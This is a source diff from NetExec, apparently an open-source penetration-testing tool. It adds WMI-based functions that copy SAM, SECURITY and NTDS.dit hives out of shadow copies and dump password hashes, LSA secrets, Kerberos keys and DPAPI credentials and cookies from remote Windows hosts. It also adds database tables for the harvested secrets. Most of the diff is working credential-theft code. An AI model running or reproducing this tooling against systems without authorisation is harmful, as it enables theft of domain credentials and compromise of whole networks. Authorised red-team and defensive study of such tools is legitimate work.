q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -17,7 +17,9 @@ def proto_args(parser, parents):
|
||||
cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump for sam or lsa")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
|
||||
mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration")
|
||||
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
|
||||
|
||||
+369
-32
@@ -1,20 +1,35 @@
|
||||
import os
|
||||
import re
|
||||
import struct
|
||||
import binascii
|
||||
from Cryptodome.Hash import MD4
|
||||
from io import StringIO
|
||||
import base64
|
||||
|
||||
from nxc.helpers.negotiate_parser import parse_challenge
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
|
||||
from nxc.connection import connection, requires_admin
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import validate_ntlm
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.protocols.wmi import wmiexec, wmiexec_event
|
||||
from nxc.protocols.wmi.remoteops import RemoteOperations
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
|
||||
from dploot.lib.network.wmi import WMITarget as Target
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError, IWbemServices
|
||||
|
||||
MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0"))
|
||||
|
||||
@@ -47,6 +62,12 @@ class wmi(connection):
|
||||
}
|
||||
self.iWbemLevel1Login = None
|
||||
self.dcom_conn = None
|
||||
self.namespaces = {}
|
||||
self._remote_ops = None
|
||||
self.no_da = None
|
||||
self.dpapi_system_key = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -129,8 +150,11 @@ class wmi(connection):
|
||||
response = MSRPCHeader(buffer)
|
||||
bindResp = MSRPCBindAck(response.getData())
|
||||
ntlm_info = parse_challenge(bindResp["auth_data"])
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
@@ -157,7 +181,7 @@ class wmi(connection):
|
||||
try:
|
||||
self.dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = self.dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout, self.logger)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Received error while checking admin: {e}")
|
||||
if "access_denied" not in str(e).lower():
|
||||
@@ -173,8 +197,7 @@ class wmi(connection):
|
||||
else:
|
||||
try:
|
||||
self.iWbemLevel1Login = IWbemLevel1Login(iInterface)
|
||||
_ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
self.get_namespace("//./root/cimv2")
|
||||
except Exception as e:
|
||||
if "access_denied" not in str(e).lower():
|
||||
self.logger.fail(str(e))
|
||||
@@ -365,6 +388,284 @@ class wmi(connection):
|
||||
self.logger.success(out)
|
||||
return True
|
||||
|
||||
def read_file(self, remote_path) -> bytes | None:
|
||||
self.logger.debug(f"Try reading file {remote_path}")
|
||||
escaped_path = remote_path.replace("\\", "\\\\")
|
||||
|
||||
# Load the Namespace
|
||||
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
|
||||
if powershellv3_namespace is None:
|
||||
return None
|
||||
|
||||
# Read the file
|
||||
try:
|
||||
object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"'
|
||||
iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path)
|
||||
obj = iWbemClassObject.getProperties()
|
||||
|
||||
file_data = None
|
||||
for prop_name, prop_value in obj.items():
|
||||
if prop_name == "FileData":
|
||||
file_data = prop_value["value"]
|
||||
break
|
||||
|
||||
if len(file_data) < 4:
|
||||
return None
|
||||
|
||||
# Unpack it
|
||||
file_length = struct.unpack(">I", bytes(file_data[:4]))[0]
|
||||
return bytes(file_data[4:4 + file_length])
|
||||
except DCERPCSessionError as e:
|
||||
if e.error_code == 0x80041006: # WBEM_E_OUT_OF_MEMORY
|
||||
# With the PS_ModuelFile technique, the file will be loaded into
|
||||
# WMI process memory. By default, a specific memory space is allocated
|
||||
# to each WMI provider host process (WMIPrvse.exe). This value can be
|
||||
# found by querying MemoryPerHost in __ProviderHostQuotaConfiguration class
|
||||
# in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail
|
||||
# File is too big, let's try to copy it the dirty way
|
||||
|
||||
live_path = re.sub(
|
||||
r"^\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy\d+",
|
||||
"C:",
|
||||
escaped_path,
|
||||
flags=re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Check file size
|
||||
def callback_func(iEnumWbemClassObject, records):
|
||||
wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0]
|
||||
record = dict(wmi_results.getProperties())
|
||||
callback_func.size = record["FileSize"]["value"]
|
||||
|
||||
callback_func.size = 0
|
||||
|
||||
wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{live_path}'"
|
||||
self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
|
||||
|
||||
# Get the file chunk by chunk with command exec
|
||||
self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.0f}MB. The download might take a LOT of time and use wmi command execution.")
|
||||
data = b""
|
||||
chunk_size = 1 * 1024 * 1024 # 1MB - Could not do bigger or it can crash
|
||||
chunk_count = (callback_func.size + chunk_size - 1) // chunk_size
|
||||
try:
|
||||
for i in range(chunk_count):
|
||||
offset = i * chunk_size
|
||||
self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}")
|
||||
powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}"
|
||||
output = self.execute_psh(powershell_command, get_output=True)
|
||||
data += base64.b64decode(output)
|
||||
return data
|
||||
except Exception as e2:
|
||||
self.logger.debug(f"Error while downloading {remote_path}: {e2}")
|
||||
self.logger.fail(f"Could not download {remote_path}")
|
||||
|
||||
elif e.error_code == 0x80041002: # WBEM_E_NOT_FOUND
|
||||
self.logger.fail(f"Cannot find file '{remote_path}'")
|
||||
else:
|
||||
self.logger.debug(f"Error while downloading {remote_path}: {e}")
|
||||
return None
|
||||
|
||||
def get_file_single(self, remote_path, download_path):
|
||||
if self.args.append_host:
|
||||
download_path = f"{self.hostname}-{remote_path}"
|
||||
|
||||
file_data = self.read_file(remote_path)
|
||||
if file_data is None:
|
||||
return False
|
||||
else:
|
||||
with open(download_path, "wb+") as file:
|
||||
file.write(file_data)
|
||||
return True
|
||||
|
||||
@requires_admin
|
||||
def get_file(self):
|
||||
for src, dest in self.args.get_file:
|
||||
self.logger.display(f'Copying "{src}" to "{dest}"')
|
||||
if self.get_file_single(src, dest):
|
||||
self.logger.success(f'File "{src}" was downloaded to "{dest}"')
|
||||
else:
|
||||
self.logger.fail(f'Could not get file "{src}"')
|
||||
|
||||
@requires_admin
|
||||
def sam(self):
|
||||
def add_sam_hash(sam_hash):
|
||||
self.logger.highlight(sam_hash)
|
||||
if "_history" in sam_hash:
|
||||
return
|
||||
username, _, lmhash, nthash, _, _, _ = sam_hash.split(":")
|
||||
# TODO: Implement wmi creds database
|
||||
add_sam_hash.sam_hashes += 1
|
||||
|
||||
add_sam_hash.sam_hashes = 0
|
||||
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
|
||||
bootkey = self.remote_ops.get_bootkey(output_filename)
|
||||
if bootkey is None:
|
||||
return
|
||||
|
||||
# Get the SAM hive
|
||||
sam_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SAM"
|
||||
if not self.get_file_single(sam_hive_path, f"{output_filename}.sam"):
|
||||
self.logger.fail("Could not get SAM hive")
|
||||
return
|
||||
|
||||
SAM = SAMHashes(
|
||||
f"{output_filename}.sam",
|
||||
bootkey,
|
||||
isRemote=None,
|
||||
history=self.args.history,
|
||||
perSecretCallback=lambda secret: add_sam_hash(secret),
|
||||
)
|
||||
self.logger.display("Dumping SAM hashes")
|
||||
SAM.dump()
|
||||
SAM.export(output_filename)
|
||||
self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self, quiet=False):
|
||||
def add_lsa_secret(secret):
|
||||
add_lsa_secret.secrets += 1
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
if "_SC_GMSA_{84A78B8C" in secret:
|
||||
gmsa_id = secret.split("_")[4].split(":")[0]
|
||||
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(data)
|
||||
currentPassword = blob["CurrentPassword"][:-2]
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
if not quiet:
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
|
||||
add_lsa_secret.secrets = 0
|
||||
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
|
||||
bootkey = self.remote_ops.get_bootkey(output_filename)
|
||||
if bootkey is None:
|
||||
return
|
||||
|
||||
# Get the LSA hive
|
||||
lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SECURITY"
|
||||
if not self.get_file_single(lsa_hive_path, f"{output_filename}.security"):
|
||||
self.logger.fail("Could not get LSA hive")
|
||||
return
|
||||
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
bootkey,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
|
||||
)
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.exportCached(output_filename)
|
||||
LSA.dumpSecrets()
|
||||
LSA.exportSecrets(output_filename)
|
||||
if not quiet:
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}")
|
||||
|
||||
@requires_admin
|
||||
def ntds(self):
|
||||
printed_kerb_keys_banner = False
|
||||
|
||||
def add_hash(secret_type, secret):
|
||||
nonlocal printed_kerb_keys_banner
|
||||
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
self.logger.display("Kerberos keys:")
|
||||
printed_kerb_keys_banner = True
|
||||
|
||||
# Count the type of secrets
|
||||
if secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
add_hash.kerb_secrets += 1
|
||||
else:
|
||||
add_hash.nt_lm_secrets += 1
|
||||
|
||||
# Log the secret based on args
|
||||
if self.args.enabled:
|
||||
if "Enabled" in secret:
|
||||
secret = " ".join(secret.split(" ")[:-1])
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
|
||||
self.logger.highlight(secret)
|
||||
|
||||
# Filter out computer accounts, history hashes and kerberos keys for adding to db
|
||||
if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret:
|
||||
if secret.find("\\") != -1:
|
||||
_, clean_hash = secret.split("\\")
|
||||
else:
|
||||
clean_hash = secret
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
add_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_hash.nt_lm_secrets = 0
|
||||
add_hash.kerb_secrets = 0
|
||||
add_hash.added_to_db = 0
|
||||
|
||||
output_filename = self.output_file_template.format(output_folder="ntds")
|
||||
|
||||
bootkey = self.remote_ops.get_bootkey(output_filename)
|
||||
if bootkey is None:
|
||||
return
|
||||
|
||||
# Get the NTDS.dit file
|
||||
ntds_file = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit"
|
||||
if not self.get_file_single(ntds_file, f"{output_filename}.ntds.dit"):
|
||||
self.logger.fail("Could not download NTDS.dit file")
|
||||
return
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
f"{output_filename}.ntds.dit",
|
||||
self.remote_ops.bootkey,
|
||||
isRemote=False,
|
||||
history=self.args.history,
|
||||
noLMHash=True,
|
||||
justNTLM=not self.args.kerberos_keys,
|
||||
useVSSMethod=True,
|
||||
remoteOps=None,
|
||||
pwdLastSet=False,
|
||||
resumeSession=None,
|
||||
outputFileName=f"{output_filename}.ntds",
|
||||
justUser=self.args.userntds if self.args.userntds else None,
|
||||
printUserStatus=True,
|
||||
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret),
|
||||
)
|
||||
|
||||
try:
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
ntds_outfile = f"{output_filename}.ntds"
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile}")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
@requires_admin
|
||||
def wmi_query(self, wql=None, namespace=None, callback_func=None):
|
||||
records = []
|
||||
@@ -375,8 +676,7 @@ class wmi(connection):
|
||||
namespace = self.args.wmi_namespace
|
||||
|
||||
try:
|
||||
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
iWbemServices = self.get_namespace(namespace)
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(wql)
|
||||
except Exception as e:
|
||||
self.logger.debug(str(e))
|
||||
@@ -410,7 +710,7 @@ class wmi(connection):
|
||||
record = dict(wmi_results.getProperties())
|
||||
records.append(record)
|
||||
|
||||
snapshots = self.wmi_query(wql=wql, namespace="root\\cimv2", callback_func=callback_func)
|
||||
snapshots = self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
|
||||
if not snapshots:
|
||||
self.logger.info("No volume shadow copies found.")
|
||||
return
|
||||
@@ -422,8 +722,6 @@ class wmi(connection):
|
||||
|
||||
@requires_admin
|
||||
def execute(self, command=None, get_output=False, use_powershell=False):
|
||||
output = ""
|
||||
|
||||
# Execution via -x
|
||||
if not command and self.args.execute:
|
||||
command = self.args.execute
|
||||
@@ -444,7 +742,8 @@ class wmi(connection):
|
||||
self.iWbemLevel1Login,
|
||||
self.logger,
|
||||
self.args.exec_timeout,
|
||||
self.args.codec
|
||||
self.args.codec,
|
||||
self.get_namespace("//./root/cimv2")
|
||||
)
|
||||
elif self.args.exec_method == "wmiexec-event":
|
||||
exec_method = wmiexec_event.WMIEXEC_EVENT(
|
||||
@@ -452,19 +751,21 @@ class wmi(connection):
|
||||
self.iWbemLevel1Login,
|
||||
self.logger,
|
||||
self.args.exec_timeout,
|
||||
self.args.codec
|
||||
self.args.codec,
|
||||
self.get_namespace("//./root/subscription")
|
||||
)
|
||||
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
|
||||
try:
|
||||
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Execute command failed with {self.args.exec_method}: {e}")
|
||||
return ""
|
||||
|
||||
if self.args.execute and get_output:
|
||||
self.logger.success(f'Executed command: "{command}" via {self.args.exec_method}')
|
||||
buf = StringIO(output).readlines()
|
||||
for line in buf:
|
||||
if get_output and (self.args.execute_psh if use_powershell else self.args.execute):
|
||||
self.logger.success(f'Executed {"PowerShell " if use_powershell else ""}command: "{command}" via {self.args.exec_method}')
|
||||
for line in StringIO(output).readlines():
|
||||
if line.strip():
|
||||
self.logger.highlight(line.strip())
|
||||
return output
|
||||
else:
|
||||
return output
|
||||
return output
|
||||
|
||||
def execute_psh(self, command=None, get_output=False):
|
||||
# Execution via -X
|
||||
@@ -472,15 +773,51 @@ class wmi(connection):
|
||||
command = self.args.execute_psh
|
||||
if not self.args.no_output:
|
||||
get_output = True
|
||||
return self.execute(command, get_output, use_powershell=True)
|
||||
|
||||
output = self.execute(command, get_output, use_powershell=True)
|
||||
def get_namespace(self, namespace: str) -> IWbemServices:
|
||||
"""Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache"""
|
||||
if namespace in self.namespaces:
|
||||
return self.namespaces[namespace]
|
||||
self.logger.debug(f"Getting namespace {namespace}")
|
||||
try:
|
||||
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}")
|
||||
return None
|
||||
self.namespaces[namespace] = iWbemServices
|
||||
return self.namespaces[namespace]
|
||||
|
||||
if self.args.execute_psh and get_output:
|
||||
self.logger.success(f'Executed PowerShell command: "{command}" via {self.args.exec_method}')
|
||||
buf = StringIO(output).readlines()
|
||||
for line in buf:
|
||||
if line.strip():
|
||||
self.logger.highlight(line.strip())
|
||||
return output
|
||||
else:
|
||||
return output
|
||||
@property
|
||||
def remote_ops(self):
|
||||
if self._remote_ops is None:
|
||||
self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id)
|
||||
return self._remote_ops
|
||||
|
||||
@requires_admin
|
||||
def sccm(self):
|
||||
self.dpapi_triage.triage_sccm()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
aesKey=self.aesKey,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
@@ -1,25 +1,35 @@
|
||||
from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.orm import declarative_base
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
Base = declarative_base()
|
||||
|
||||
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.UsersTable = None
|
||||
self.HostsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
class Credential(Base):
|
||||
__tablename__ = "credentials"
|
||||
class User(Base):
|
||||
__tablename__ = "users"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
credtype = Column(String)
|
||||
pillaged_from_hostid = Column(Integer)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class Host(Base):
|
||||
@@ -33,10 +43,304 @@ class database(BaseDB):
|
||||
PrimaryKeyConstraint("id"),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
|
||||
def reflect_tables(self):
|
||||
self.CredentialsTable = self.reflect_table(self.Credential)
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.HostsTable = self.reflect_table(self.Host)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, hostname, port):
|
||||
"""Check if this host has already been added to the database, if not, add it in."""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
new_host = {
|
||||
"ip": ip,
|
||||
"hostname": hostname,
|
||||
"port": port,
|
||||
}
|
||||
hosts = [new_host]
|
||||
# update existing hosts data
|
||||
else:
|
||||
for host in results:
|
||||
host_data = host._asdict()
|
||||
# only update column if it is being passed in
|
||||
if ip is not None:
|
||||
host_data["ip"] = ip
|
||||
if hostname is not None:
|
||||
host_data["hostname"] = hostname
|
||||
if port is not None:
|
||||
host_data["port"] = port
|
||||
if host_data not in hosts:
|
||||
hosts.append(host_data)
|
||||
updated_ids.append(host_data["id"])
|
||||
nxc_logger.debug(f"Update Hosts: {hosts}")
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
|
||||
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
return updated_ids
|
||||
|
||||
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
credentials = []
|
||||
|
||||
if pillaged_from and not self.is_host_valid(pillaged_from):
|
||||
nxc_logger.debug("Invalid host")
|
||||
return
|
||||
|
||||
q = select(self.UsersTable).filter(
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
